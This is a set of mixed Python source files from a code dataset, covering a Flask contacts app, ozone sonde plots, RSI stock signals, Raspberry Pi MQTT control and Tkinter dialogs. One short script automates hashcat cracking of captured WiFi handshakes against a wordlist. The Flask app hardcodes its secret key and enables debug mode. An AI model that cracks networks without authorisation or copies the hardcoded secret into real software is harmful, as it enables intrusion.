self.directions[item],\n \"estimates\": self.estimates[item,:],\n \"modality\": self.modality[item]\n }\n else:\n raise IndexError(\"Out of range!\")\n pass\n else:\n raise TypeError(\"Wrong index type\")\n\n\nclass TaskAnalytics:\n \"\"\"\n task analysis tools\n \"\"\"\n\n def __init__(self):\n self.index = None\n pass\n\n def decode_trial_brief(self, index, log_file):\n try:\n data_brief = base642obj(log_file['trial_brief_base64'][index])\n return data_brief\n except KeyError:\n raise KeyError(\"Index out of the range!\")\n\n def test(self, **kwargs):\n return \"hello\" + kwargs[\"name\"]\n","sub_path":"seqrnn_multitask/tasks/mult_int.py","file_name":"mult_int.py","file_ext":"py","file_size_in_byte":8407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"637033929","text":"# Made by Sam Mahoney\n# For Testing Only\n\nimport sys\nimport subprocess\nimport time\nimport os\n\ndef listdict():\n caps = os.listdir(\"D:/CMUI-Lab/Captured/\")\n for cap in caps:\n print(cap)\n newcap = cap.replace(\"^%\", \"-\")\n path = \"D:/CMUI-Lab/Captured/\"\n newcappath = path + newcap\n cappath = path + cap\n print(newcappath)\n try:\n os.rename(cappath, newcappath)\n except Exception as e:\n print(e)\n print(cap)\n cracker(cap)\n print(\"[!] Thank you for using Aut0 Cracker\")\n\n\ndef cracker(cap):\n print(cap)\n print(\"[!] Attempting To Crack {} \".format(cap))\n hashcat = (\"hashcat64.exe -m 2500 -o D:/CMUI-Lab/Captured/{0}.txt D:/CMUI-Lab/Captured/{0} {1}\").format(cap, \"D:/WiFi/Wordlists/big/huge.txt\")\n process = subprocess.Popen(hashcat.split(), cwd = \"D:/WiFi/hashcat/\", shell=True)\n process.communicate()\n print(\"---------------------------------------\")\n\nlistdict()","sub_path":"Aut0/crack.py","file_name":"crack.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"458827134","text":"from __future__ import division, print_function\nimport os\nfrom hygroup import HyGroup\n\n\nclass TrajectoryGroup(HyGroup):\n \"\"\"\n Class for processing and plotting multiple ``Trajectory`` instances.\n\n :subclass: of ``HyGroup``.\n\n \"\"\"\n\n def __init__(self, trajectories):\n \"\"\"\n Initialize ``TrajectoryGroup`` object.\n\n Parameters\n ----------\n trajectories : list of ``Trajectory`` instances\n ``Trajectory`` instances that belong in the group.\n\n \"\"\"\n HyGroup.__init__(self, trajectories)\n\n def __getitem__(self, index):\n \"\"\"\n Index or slice ``self.trajectories`` to get a ``Trajectory`` or\n ``TrajectoryGroup``, respectively\n\n \"\"\"\n\n newthing = self.trajectories[index]\n\n # TrajectoryGroup requires a list of Trajectory instances,\n # but won't fail if given a single Trajectory\n if isinstance(newthing, list):\n newthing = TrajectoryGroup(newthing)\n\n return newthing\n\n def addgroups(self, other):\n \"\"\"\n Create new ``TrajectoryGroup`` from two ``TrajectoryGroup`` instances.\n Checks for duplicate ``Trajectory`` instances.\n\n Parameters\n ----------\n other : ``TrajectoryGroup`` or ``Cluster``\n A different ``TrajectoryGroup`` or ``Cluster`` that may or may not\n contain some of the same ``Trajectory`` instances\n\n Returns\n -------\n new_self : ``TrajectoryGroup``\n A new ``TrajectoryGroup`` from the combination of\n ``self`` and ``other``\n\n \"\"\"\n\n new_tg = TrajectoryGroup(HyGroup.addgroups(self, other))\n\n return new_tg\n\n def pop(self, ind=-1, trajid=None):\n \"\"\"\n Intercept ``HyGroup.pop()``.\n\n If a list of ``Trajectory`` instances is returned from\n ``HyGroup.pop()``, return a new ``TrajectoryGroup``.\n\n Parameters\n ----------\n ind : int\n Default -1. The positional argument of the ``Trajectory``\n to remove.\n trajid : string\n Default None. The named argument of the ``Trajectory``\n to remove. Overrides ``ind`` if not None.\n\n Returns\n -------\n popped : ``Trajectory`` instance or ``TrajectoryGroup``\n The indicated ``Trajectory`` or a ``TrajectoryGroup`` if multiple\n trajectories were popped out. May also be a ``None``\n if no matching ``Trajectory`` instances were found.\n\n \"\"\"\n popped = HyGroup.pop(self, ind, trajid)\n\n try:\n popped = TrajectoryGroup(popped)\n except:\n pass\n\n return popped\n","sub_path":"pysplit/trajgroup.py","file_name":"trajgroup.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"268512822","text":"import itertools\n\nHUMAN_NEEDS = [\"status\", \"approval\", \"tranquility\", \"competition\", \"health\", \"family\", \"romance\", \"food\", \"indep\",\n \"power\", \"order\", \"curiosity\", \"serenity\", \"honor\", \"belonging\", \"contact\", \"savings\", \"idealism\", \"rest\"]\n\n\ndef get_all_reasons(graph, source):\n neighbor = [link for link in graph if link[0] == source]\n\n if len(neighbor) == 0: # leaf node\n return [source]\n\n return [f\"{source} {relation} {path}\"\n for _, relation, target in neighbor\n for path in get_all_reasons(graph, target)]\n\n\ndef get_need_reasons(data):\n names = {node[\"key\"]: node[\"name\"].replace('_', ' ')\n for node in data[\"nodeDataArray\"]}\n\n links = [(names[link[\"from\"]], link[\"text\"], names[link[\"to\"]])\n for link in data[\"linkDataArray\"]]\n\n nodes = set(i for i, _, _ in links).union(i for _, _, i in links)\n\n forward = [(source, relation, target)\n for source, relation, target in links]\n backward = [(target, relation, source)\n for source, relation, target in links]\n\n reasons = [get_all_reasons(graph, need)\n for graph in (forward, backward)\n for need in nodes.intersection(HUMAN_NEEDS)]\n\n return [reason for group in reasons for reason in group\n if reasons not in HUMAN_NEEDS]\n","sub_path":"website/utility/reason.py","file_name":"reason.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"62514806","text":"# coding=utf-8\nfrom flask import Flask, render_template, request, redirect, session\nfrom configurer import contacts\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n message = session.pop('message', '')\n return render_template(\n 'index.html',\n contacts=contacts.list_contacts(),\n message=message\n )\n\n\n@app.route('/find')\ndef found():\n if 'search' in request.args:\n try:\n name = request.args['search']\n phone = contacts.find_contact(name)\n return render_template('find.html', name=name, phone=phone)\n except ValueError as e:\n return render_template('find.html', message=e)\n return render_template('find.html')\n\n\n@app.route('/add', methods=['GET', 'POST'])\ndef add():\n if request.method == 'POST':\n try:\n contacts.create_contact(request.form['name'], request.form['phone'])\n session['message'] = \"Contact added\"\n return redirect('/')\n except ValueError as e:\n return render_template(\n 'add.html',\n message=e,\n name=request.form['name'],\n phone=request.form['phone']\n )\n return render_template('add.html')\n\n\n@app.route('/update', methods=['GET', 'POST'])\ndef update():\n if request.method == 'POST':\n try:\n contacts.update_contact(request.form['name'], request.form['phone'])\n session['message'] = \"Contact updated: {}\".format(request.form['name'])\n return redirect('/')\n except ValueError as e:\n return render_template(\n 'update.html',\n message=e,\n name=request.form['name'],\n phone=request.form['phone']\n )\n return render_template('update.html')\n\n\n@app.route('/delete', methods=['GET', 'POST'])\ndef delete():\n if request.method == 'POST':\n try:\n contacts.delete_contact(request.form['name'])\n session['message'] = \"Contact deleted: {}\".format(request.form['name'])\n return redirect('/')\n except ValueError as e:\n return render_template(\n 'delete.html',\n message=e,\n name=request.form['name'],\n )\n return render_template('delete.html')\n\n\n@app.route('/do')\ndef do():\n return \"a\"\n\napp.secret_key = 'A0Zr98j/3yX R~XHH!jmN]LWX/,?RT'\nif __name__ == '__main__':\n app.run(debug=True)\n\n","sub_path":"web_controller.py","file_name":"web_controller.py","file_ext":"py","file_size_in_byte":2470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"53125959","text":"# Libraries\nimport pandas as pd\nimport numpy as np\nimport re\nimport glob\nimport math\nfrom math import log\nimport matplotlib.pyplot as plt\n\n\n# Calc_average_profile(dataframe, ybin, xcolumn)\n# Plot_compare_profile_plots(prof1_X, prof1_Xerr, prof2_X, prof2_Xerr, Y, xra, xtit, ytit, filtx, filty, totO31value, totO32value, prof1_nodup, prof2_nodup, plotname)\n# Calc_RDif(profO3X, profOPMX, profO3Xerr):\n\ndf = pd.read_csv(\"/home/poyraden/Josie17/Files/Josie17_DataAll.csv\")\ndfcleaned = df.drop(df[(df.Sim == 175)].index)\n\nprofENSCI = dfcleaned.loc[dfcleaned.ENSCI == 1]\nprofENSCInodup = profENSCI.drop_duplicates(['Sim', 'Team'])\n\nprofSPC = dfcleaned.loc[dfcleaned.ENSCI == 0]\nprofSPCnodup = profSPC.drop_duplicates(['Sim', 'Team'])\n\n#totO3 = profENSCI.O3S\n#totO3frac = profENSCI.frac\n\n\n\nseriallist_ENSCI = profENSCInodup[\"SerNr\"].tolist()\nseriallist_SPC = profSPCnodup[\"SerNr\"].tolist()\n\nn = len(seriallist_ENSCI)\nm = len(seriallist_SPC)\n\nkeylist = []\nslist = []\nfor ik in range(0,n):\n keylist.append(ik)\n\nfor im in range(0,m):\n slist.append(im)\n\n\nprofENSCI_collection = {}\nprofENSCI_nodup = {}\n\nO3 = [0]* n\nfracENSCI = [0] * n\nsolENSCI = [0] * n\nbufENSCI = [0] * n\nstrENSCI = [0] * n\n\n\n\n# Plot ENSCI\nfor simitem in keylist:\n profENSCI_collection[simitem] = profENSCI[profENSCI.SerNr == seriallist_ENSCI[simitem]]\n profENSCI_nodup[simitem] = profENSCI_collection[simitem].drop_duplicates(['Sim', 'Team']) \n O3[simitem] = profENSCI_nodup[simitem].O3S.mean()\n fracENSCI[simitem] = profENSCI_nodup[simitem].frac.mean()\n solENSCI[simitem] = profENSCI_nodup[simitem].Sol.mean()\n bufENSCI[simitem] = profENSCI_nodup[simitem].Buf.mean()\n strENSCI[simitem] = str(solENSCI[simitem])+\"%-\"+str(bufENSCI[simitem])+\"B\"\n\ndfplt = pd.DataFrame(dict(x=seriallist_ENSCI, y=fracENSCI, label=strENSCI))\n\n\ngroups = dfplt.groupby('label')\n\nfig, ax = plt.subplots()\nax.margins(0.05) # Optional, just adds 5% padding to the autoscaling\ncolorlist1 = {'0.5%-0.5B': 'dodgerblue', '1.0%-0.1B':'darkorange', '2.0%-0.1B':'limegreen' }\n\nfor name, group in groups:\n ax.plot(group.x, group.y, marker='o', linestyle='', ms=4, label=name, color = colorlist1[str(name)])\nax.legend()\nplt.xlabel('Serial Number')\nplt.ylabel('Total O3/ Total O3 OPM')\nplt.title('ENSCI Sondes')\n\nplt.savefig('/home/poyraden/Josie17/Plots/O3frac_SerNr_ENSCI.pdf')\nplt.savefig('/home/poyraden/Josie17/Plots/O3frac_SerNr_ENSCI.eps')\n\nfig, ax2 = plt.subplots()\nax2.margins(0.05) # Optional, just adds 5% padding to the autoscaling\ncolorlist1 = {'0.5%-0.5B': 'dodgerblue', '1.0%-0.1B':'darkorange', '2.0%-0.1B':'limegreen' }\n\nfor name, group in groups:\n ax2.plot(group.x, group.y, marker='o', linestyle='', ms=4, label=name, color = colorlist1[str(name)])\nax2.legend()\nplt.xlim(20000,34000)\nplt.xlabel('Serial Number')\nplt.ylabel('Total O3/ Total O3 OPM')\nplt.title('ENSCI Sondes')\n\nplt.savefig('/home/poyraden/Josie17/Plots/O3frac_SerNr_ENSCI_zoom.pdf')\nplt.savefig('/home/poyraden/Josie17/Plots/O3frac_SerNr_ENSCI_zoom.eps')\n\n\nplt.xlim(29000,34000)\nplt.xlabel('Serial Number')\nplt.ylabel('Total O3/ Total O3 OPM')\nplt.title('ENSCI Sondes')\n\nplt.savefig('/home/poyraden/Josie17/Plots/O3frac_SerNr_ENSCI_zoom2.pdf')\nplt.savefig('/home/poyraden/Josie17/Plots/O3frac_SerNr_ENSCI_zoom2.eps')\n\n\n#Plot SPC\n\nprofSPC_collection = {}\nprofSPC_nodup = {}\nfracSPC = [0] * m\nsolSPC = [0] * m\nbufSPC = [0] * m\nstrSPC = [0] * m\n\nfor sitem in slist:\n profSPC_collection[sitem] = profSPC[profSPC.SerNr == seriallist_SPC[sitem]]\n profSPC_nodup[sitem] = profSPC_collection[sitem].drop_duplicates(['Sim', 'Team']) \n O3[sitem] = profSPC_nodup[sitem].O3S.mean()\n fracSPC[sitem] = profSPC_nodup[sitem].frac.mean()\n solSPC[sitem] = profSPC_nodup[sitem].Sol.mean()\n bufSPC[sitem] = profSPC_nodup[sitem].Buf.mean()\n strSPC[sitem] = str(solSPC[sitem])+\"%-\"+str(bufSPC[sitem])+\"B\"\n\ndfplts = pd.DataFrame(dict(x=seriallist_SPC, y=fracSPC, label=strSPC))\n\n\ngroupss = dfplts.groupby('label')\n\nfig, ax1 = plt.subplots()\nax1.margins(0.05) # Optional, just adds 5% padding to the autoscaling\n\ncolorlist2 = {'1.0%-1.0B': 'darkmagenta', '1.0%-0.1B':'darkorange', '2.0%-0.1B':'limegreen' }\n\n\nfor name, group in groupss:\n ax1.plot(group.x, group.y, marker='o', linestyle='', ms=4, label=name, color = colorlist2[str(name)])\nax1.legend()\nplt.xlabel('Serial Number')\nplt.ylabel('Total O3/ Total O3 OPM')\nplt.title('SPC Sondes')\n\nplt.savefig('/home/poyraden/Josie17/Plots/O3frac_SerNr_SPC.pdf')\nplt.savefig('/home/poyraden/Josie17/Plots/O3frac_SerNr_SPC.eps')\n","sub_path":"totO3vsSerNr.py","file_name":"totO3vsSerNr.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"157118186","text":"# Да се напише програма, която прочита едно цяло число N и генерира всички възможни\n# \"щастливи\" и различни 4-цифрени числа(всяка цифра от числото е в интервала [1...9]).\n\n# Числото трябва да отговаря на следните условия:\n# Щастливо число е 4-цифрено число, на което сбора от първите две цифри е равен на сбора от последните две.\n# Числото N трябва да се дели без остатък от сбора на първите две цифри на \"щастливото\" число.\n# f\"{i}{j}{k}{l}\" % (i+j) == 0 and\n\nN = int(input())\n\nfor i in range(1, 10):\n for j in range(1, 10):\n for k in range(1, 10):\n for l in range(1, 10):\n sum1 = i + j\n sum2 = k + l\n if (sum1) == (sum2):\n if N % (sum1) == 0:\n print(f\"{i}{j}{k}{l}\", end = \" \")\n","sub_path":"Python Basics June 2020/6 nested_loops_more_ex/6.3.3. lucky_numbers.py","file_name":"6.3.3. lucky_numbers.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"300679653","text":"#!/usr/bin/python3\nimport paho.mqtt.client as mqtt\nimport time\nimport smbus\nfrom time import sleep\nimport RPi.GPIO as GPIO # Import Raspberry Pi GPIO library\nGPIO.setwarnings(False) # Ignore warning for now\nGPIO.setmode(GPIO.BOARD) # Use physical pin numbering\nGPIO.setup(11, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Set pin 10 to be an input pin and set initial value to be pulled low (off)\n\n\n\ni2c = smbus.SMBus(1)\n\nI2C_ADD = 0x08 # Arduino I2C address\n\n\ndef writeI2C(data):\n i2c.write_byte(I2C_ADD, data)\n# The callback for when the client receives a CONNACK response from the server.\ndef on_connect(client, userdata, flags, rc):\n print(\"Connected with result code \"+str(rc))\n\n # Subscribing in on_connect() means that if we lose the connection and\n # reconnect then subscriptions will be renewed.\n client.subscribe(\"fyp/rpi/inbox\")\n\n# The callback for when a PUBLISH message is received from the server.\ndef on_message(client, userdata, msg):\n msg.payload = msg.payload.decode(\"utf-8\")\n print(msg.payload)\n writeI2C(int (msg.payload))\n\n\n\n\nclient = mqtt.Client()\nwhile True :\n button_state = GPIO.input(11)\n if button_state == False:\n client.on_connect = on_connect\n client.on_message = on_message\n \n client.connect(\"192.168.1.239\", 1883, 60)\n\n client.loop_forever()\n","sub_path":"i2c_mqtt_server_pi.py","file_name":"i2c_mqtt_server_pi.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"85150326","text":"from tkinter import *\nimport tkSimpleDialog\nfrom tkinter.filedialog import askopenfilename\nimport tkinter.messagebox as messageBox\n\n\nclass MyDialog(tkSimpleDialog.Dialog):\n\n def body(self, master):\n # Label is a module in tkinter\n Label(master, text=\"First:\").grid(row=0)\n Label(master, text=\"Second:\").grid(row=1)\n\n self.e1 = Entry(master)\n self.e2 = Entry(master)\n\n self.e1.grid(row=0, column=1)\n self.e2.grid(row=1, column=1)\n return self.e1 # initial focus\n\n def apply(self):\n first = int(self.e1.get())\n second = int(self.e2.get())\n print('First: {}, Second: {}'.format(first, second))\n\n\nclass MyDialog_GogenFiles(tkSimpleDialog.Dialog):\n\n def body(self, master):\n Label(master, text=\"Chose grid file and wordlist file\", justify=LEFT).\\\n grid(row=0, sticky=W, pady=5, padx=10)\n\n # for the label, no need for Entry reference, so combined Entry with Grid\n # for both e1 and btn_grid_file, Entry reference needed, so split into 2 lines\n # https://stackoverflow.com/questions/1101750/tkinter-attributeerror-nonetype-object-has-no-attribute-get\n self.grid_file = StringVar()\n Label(master, text=\"Puzzle file:\").grid(row=1, sticky=W, pady=5, padx=10)\n self.e1 = Entry(master, textvariable=self.grid_file)\n self.e1.grid(row=1, column=1, padx=10)\n self.var_grid_file = IntVar()\n self.btn_grid_file = Button(master, text=\"...\")\n self.btn_grid_file.grid(row=1, column=2, sticky=W, pady=5, padx=10)\n self.btn_grid_file.bind('', self.GridFileClick)\n\n self.wordlist_file = StringVar()\n Label(master, text=\"Wordlist file:\").grid(row=2, sticky=W, pady=5, padx=10)\n self.e2 = Entry(master, textvariable=self.wordlist_file)\n self.e2.grid(row=2, column=1, padx=10)\n self.var_wordlist_file = IntVar()\n self.btn_wordlist_file = Button(master, text=\"...\")\n self.btn_wordlist_file.grid(row=2, column=2, sticky=W, pady=5, padx=10)\n self.btn_wordlist_file.bind('', self.WordlistFileClick)\n\n return self.e1 # initial focus\n\n def apply(self):\n print('function: {}'.format(sys._getframe().f_code.co_name))\n\n self.grid_file = self.e1.get()\n self.wordlist_file = self.e2.get()\n print('Puzzle file: {} \\nWordlist file: {} '.format(self.grid_file, self.wordlist_file))\n self.result = {'puzzle_file': self.grid_file, 'wordlist_file': self.wordlist_file}\n\n def validate(self):\n print('function: {}'.format(sys._getframe().f_code.co_name))\n\n self.apply()\n\n # import tkMessageBox\n import tkinter.messagebox as messageBox\n if (self.grid_file == '' or self.wordlist_file == ''):\n messageBox.showwarning('Error', 'please specify files contain the grid layout and the wordlist',\n icon=\"error\")\n return 0\n\n return 1\n\n def GridFileClick(self, event):\n print('function: {}'.format(sys._getframe().f_code.co_name))\n\n self.var_grid_file = 1\n self.var_wordlist_file = 0\n\n self.SelectFile()\n\n def WordlistFileClick(self, event):\n print('function: {}'.format(sys._getframe().f_code.co_name))\n\n self.var_grid_file = 0\n self.var_wordlist_file = 1\n\n self.SelectFile()\n\n def SelectFile(self):\n print('function: {}'.format(sys._getframe().f_code.co_name))\n import os\n ROOT_DIR = os.path.abspath(os.curdir)\n GAME_DIR = ROOT_DIR + '/games/'\n filename = askopenfilename(initialdir=GAME_DIR,\n filetypes =((\"Text File\", \"*.txt\"),(\"All Files\",\"*.*\")),\n title = \"Choose a file.\"\n )\n print (filename)\n\n if self.var_grid_file == 1:\n self.grid_file.set(filename)\n elif self.var_wordlist_file == 1:\n self.wordlist_file.set(filename)\n\n","sub_path":"WorlistFinder/MyDialog.py","file_name":"MyDialog.py","file_ext":"py","file_size_in_byte":4017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"131936591","text":"#! /usr/bin/env python\n# Deal with splined data \n# \n# L_Zealot\n# Oct 16, 2017\n# Guangzhou, GD\n#\nimport math\nimport os\nimport numpy as np\nimport pandas as pd\nimport datetime\nimport decimal\n#-------------------------------------\n# Function Definition Part\n#-------------------------------------\ndef main():\n\n#----------------------------------------------------\n# User Defined Part\n#----------------------------------------------------\n\n # Station Number\n sta_num='67605'\n\n # Input File\n in_dir='/home/yangsong3/L_Zealot/project/ITMM-dt-2017/data/ITMM-dt-2017/17-18new/'+sta_num+'/splined/pro_data/'\n\n # Output Dir\n out_dir=in_dir\n\n # Start Year \n start_year='2017'\n \n # End Year\n end_year='2018'\n\n # Correct Algrithm\n # C1 -- Both j and splined\n # C2 == Only j\n corr_algthm='C1' \n\n#----------------------------------------------------\n# Main function\n#----------------------------------------------------\n curr_year=start_year\n while curr_year<=end_year:\n\n pt=pd.read_csv(in_dir+get_file_name(sta_num, curr_year, corr_algthm))\n print('parsing '+in_dir+get_file_name(sta_num, curr_year, corr_algthm))\n r_uva, r_uvb, r_total=cal_rad(pt)\n dfout = pd.DataFrame(np.append([r_uva.values, r_uvb.values], [r_total.values], axis=0).T, index=pt.iloc[:,0], columns=['uva', 'uvb', 'total'])\n fout_name=out_dir+get_outfile_name(sta_num, curr_year, corr_algthm)\n if os.path.isfile(fout_name):\n with open(fout_name, 'a') as f:\n dfout.to_csv(f, header=False)\n else:\n with open(fout_name, 'w') as f:\n dfout.to_csv(f)\n curr_year=str(int(curr_year)+1)\n\ndef get_file_name(sta_num, curr_year, corr):\n fname='splined_'+curr_year+'_'+sta_num+'_'+corr+'_Hour.csv'\n return fname\ndef get_outfile_name(sta_num, curr_year, corr):\n fname='Rad_'+sta_num+'_'+corr+'_Hour.csv'\n return fname\n\ndef cal_rad(pt):\n uva=pt.loc[:,'320.0':'422.0'].sum(axis=1)*0.5\n uvb=pt.loc[:,'290.0':'320.0'].sum(axis=1)*0.5\n total=pt.sum(axis=1)*0.5\n uva[uva<0]=np.nan\n uvb[uvb<0]=np.nan\n total[total<0]=np.nan\n return uva, uvb, total\n\n\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n","sub_path":"ITMM-dt-2017/script/171017-cal_radiation.py","file_name":"171017-cal_radiation.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"271330920","text":"\n# -*- coding: utf-8 -*-\n\nfrom pandas import DataFrame\nfrom pymongo import ASCENDING, UpdateOne\n\nfrom database import DB_CONN\nimport tushare as ts\n# from stock_util import get_all_codes\n\n\ndef compute_rsi(begin_date, end_date):\n codes = ts.get_stock_basics().index.tolist() # get_all_codes()\n\n # 计算RSI\n N = 12\n for code in codes:\n try:\n # 获取后复权的价格,使用后复权的价格计算RSI\n daily_cursor = DB_CONN['daily_hfq'].find(\n {'code': code, 'date': {'$gte': begin_date, '$lte': end_date}, 'index': False},\n sort=[('date', ASCENDING)],\n projection={'date': True, 'close': True, '_id': False}\n )\n\n df_daily = DataFrame([daily for daily in daily_cursor])\n\n if df_daily.index.size < N:\n print('数据量不够: %s' % code, flush=True)\n continue\n\n df_daily.set_index(['date'], 1, inplace=True)\n df_daily['pre_close'] = df_daily['close'].shift(1)\n df_daily['change_pct'] = (df_daily['close'] - df_daily['pre_close']) * 100 / df_daily['pre_close']\n # 保留上涨的日期\n df_daily['up_pct'] = DataFrame({'up_pct': df_daily['change_pct'], 'zero': 0}).max(1)\n\n # 计算RSI\n df_daily['RSI'] = df_daily['up_pct'].rolling(N).mean() / abs(df_daily['change_pct']).rolling(N).mean() * 100\n\n # 移位\n df_daily['PREV_RSI'] = df_daily['RSI'].shift(1)\n\n # # 超买,RSI下穿80,作为卖出信号\n df_daily_over_bought = df_daily[(df_daily['RSI'] < 80) & (df_daily['PREV_RSI'] >= 80)]\n # # 超卖,RSI上穿20,作为买入信号\n df_daily_over_sold = df_daily[(df_daily['RSI'] > 20) & (df_daily['PREV_RSI'] <= 20)]\n #\n # # 保存结果到数据库\n update_requests = []\n for date in df_daily_over_bought.index:\n update_requests.append(UpdateOne(\n {'code': code, 'date': date},\n {'$set': {'code':code, 'date': date, 'signal': 'over_bought'}},\n upsert=True))\n\n for date in df_daily_over_sold.index:\n update_requests.append(UpdateOne(\n {'code': code, 'date': date},\n {'$set': {'code':code, 'date': date, 'signal': 'over_sold'}},\n upsert=True))\n\n if len(update_requests) > 0:\n update_result = DB_CONN['rsi'].bulk_write(update_requests, ordered=False)\n print('Save RSI, 股票代码:%s, 插入:%4d, 更新:%4d' %\n (code, update_result.upserted_count, update_result.modified_count), flush=True)\n except:\n print('错误发生: %s' % code, flush=True)\n\n\ndef is_rsi_over_sold(code, date):\n count = DB_CONN['rsi'].count({'code': code, 'date': date, 'signal': 'over_sold'})\n return count == 1\n\n\ndef is_rsi_over_bought(code, date):\n count = DB_CONN['rsi'].count({'code': code, 'date': date, 'signal': 'over_bought'})\n return count == 1\n\n\nif __name__ == '__main__':\n rsi_col = DB_CONN['rsi']\n if 'code_1_date_1' not in rsi_col.index_information().keys():\n rsi_col.create_index(\n [('code', ASCENDING), ('date', ASCENDING)])\n \n if 'code_1_date_1_signal_1' not in rsi_col.index_information().keys():\n rsi_col.create_index(\n [('code', ASCENDING), ('date', ASCENDING), ('signal', ASCENDING)])\n \n compute_rsi('2015-01-01', '2018-12-31')\n\n","sub_path":"simple trading system/factor/rsi_factor.py","file_name":"rsi_factor.py","file_ext":"py","file_size_in_byte":3578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"9530947","text":"'''\nThis demo shows you how you can create a new image by clicking the screen.\n'''\nfrom tkinter import Canvas, Tk\nimport helpers\nimport utilities\nimport time\nimport random\nimport keycodes\n\ngui = Tk()\ngui.title('Tour of options...')\n\n# initialize canvas:\nwindow_width = gui.winfo_screenwidth()\nwindow_height = gui.winfo_screenheight()\ncanvas = Canvas(gui, width=window_width, height=window_height, background='white')\ncanvas.pack()\n\n########################## YOUR CODE BELOW THIS LINE ##############################\nMOUSE_CLICK = ''\nKEY_PRESS = ''\ncanvas.create_text(\n (window_width / 2, window_height / 2), \n text='Click anywhere add a circle. Press arrow keys to move circle', \n font=(\"Purisa\", 32)\n)\ncanvas.create_text(\n (window_width / 2, window_height / 2 + 50), \n text='Note: before keyboard functions work, you need to call canvas.focus_set()', \n font=(\"Purisa\", 32)\n)\n\ndef make_circle(event):\n utilities.make_circle(\n canvas,\n (event.x, event.y),\n 20, \n color='hotpink',\n tag='circle'\n )\n\ndef move_circle(event):\n # NOTE: Because Windows and Mac have different keycodes, use the functions\n # from the keycode module to detect the different keys\n distance = 10\n if event.keycode == keycodes.get_up_keycode():\n utilities.update_position_by_tag(canvas, tag='circle', x=0, y=-distance)\n elif event.keycode == keycodes.get_down_keycode():\n utilities.update_position_by_tag(canvas, tag='circle', x=0, y=distance)\n elif event.keycode == keycodes.get_left_keycode():\n utilities.update_position_by_tag(canvas, tag='circle', x=-distance, y=0)\n elif event.keycode == keycodes.get_right_keycode():\n utilities.update_position_by_tag(canvas, tag='circle', x=distance, y=0)\n else:\n print('Keycode:', event.keycode, 'not handled by this if/elif/else statement.')\n\ncanvas.bind(MOUSE_CLICK, make_circle) \ncanvas.bind(KEY_PRESS, move_circle)\n\n# NOTE: canvas.focus_set() is critical to making the keyboard functions work:\ncanvas.focus_set()\n\n########################## YOUR CODE ABOVE THIS LINE ############################## \n# makes sure the canvas keeps running:\ncanvas.mainloop()","sub_path":"course-files/projects/project01/demos/demo6_keyboard.py","file_name":"demo6_keyboard.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"470517169","text":"import xml.etree.ElementTree as ET\nimport argparse\nimport logging\n\n\ndef strip_xml_elements(tags: list, input_file: str, output_file: str) -> set:\n tree = ET.parse(input_file)\n root = tree.getroot()\n\n removed = set()\n for item in root.findall('*'):\n for element in item:\n tag = element.tag.split('}')[1]\n if tag not in tags:\n item.remove(element)\n removed.add(tag)\n\n tree.write(output_file)\n return removed\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Remove all fields not given as argument from xml data file.')\n parser.add_argument('xml_elements', metavar='S', nargs='+', type=str, help='eprints elements you want to keep')\n parser.add_argument('-f', dest='input_file', type=str, help='The XML file which should be cleaned.',\n default='input-data.xml')\n parser.add_argument('-d', dest='output_file', type=str, help='The file the result should be stored in.',\n default='output-data.xml')\n args = parser.parse_args()\n\n logger = logging.getLogger('xml-cleaner')\n logger.info('Keep the following XML-Elements: %s.', args.xml_elements)\n removed_tags = strip_xml_elements(args.xml_elements, args.input_file, args.output_file)\n logger.info('Removed the following elements: %s.', removed_tags)\n logger.info('Stored result in %s.', args.output_file)\n\n\n\n","sub_path":"strip_xml_elements.py","file_name":"strip_xml_elements.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"142130652","text":"#encoding:utf-8\nimport datetime\nimport copy\nimport pymongo\n\n#创建所有的表名\nfuture_types = ['m']\nexpiry_years = ['17', '18']\nexpiry_months = ['01', '03', '05', '07', '08', '09', '11', '12']\nstrike_prices = range(2000, 3500, 50)\noption_types = ['C', 'P']\n\nfuture_symbols = [(x + y + z) for x in future_types for y in expiry_years for z in expiry_months]\noption_symbols = [(x + '-' + y + '-' + str(z)) for x in future_symbols for y in option_types for z in strike_prices]\nall_symbols = future_symbols + option_symbols\nall_symbols.sort()\n\n#构建所有交易时间的列表trading_days,单位是天,包括end_trading_day\nstart_trading_day = datetime.date(2017, 6, 8)\nend_trading_day = datetime.date(2017, 6, 20)\ntrading_days = []\nwhile start_trading_day <= end_trading_day:\n trading_days.append(start_trading_day)\n start_trading_day += datetime.timedelta(days=1)\n\n#所有需要填充的字段\nfill_key = [u'lastPrice', u'lowerLimit', u'openInterest', u'upperLimit', u'volume']\n\n#获取数据库\ndefault_client = pymongo.MongoClient('localhost', 27017)\ntick_db = default_client['VnTrader_Tick_Db']\nnew_tick_db = default_client['tick_1min']\n\ndef modify_record(record, snapshot_time):\n new_record = 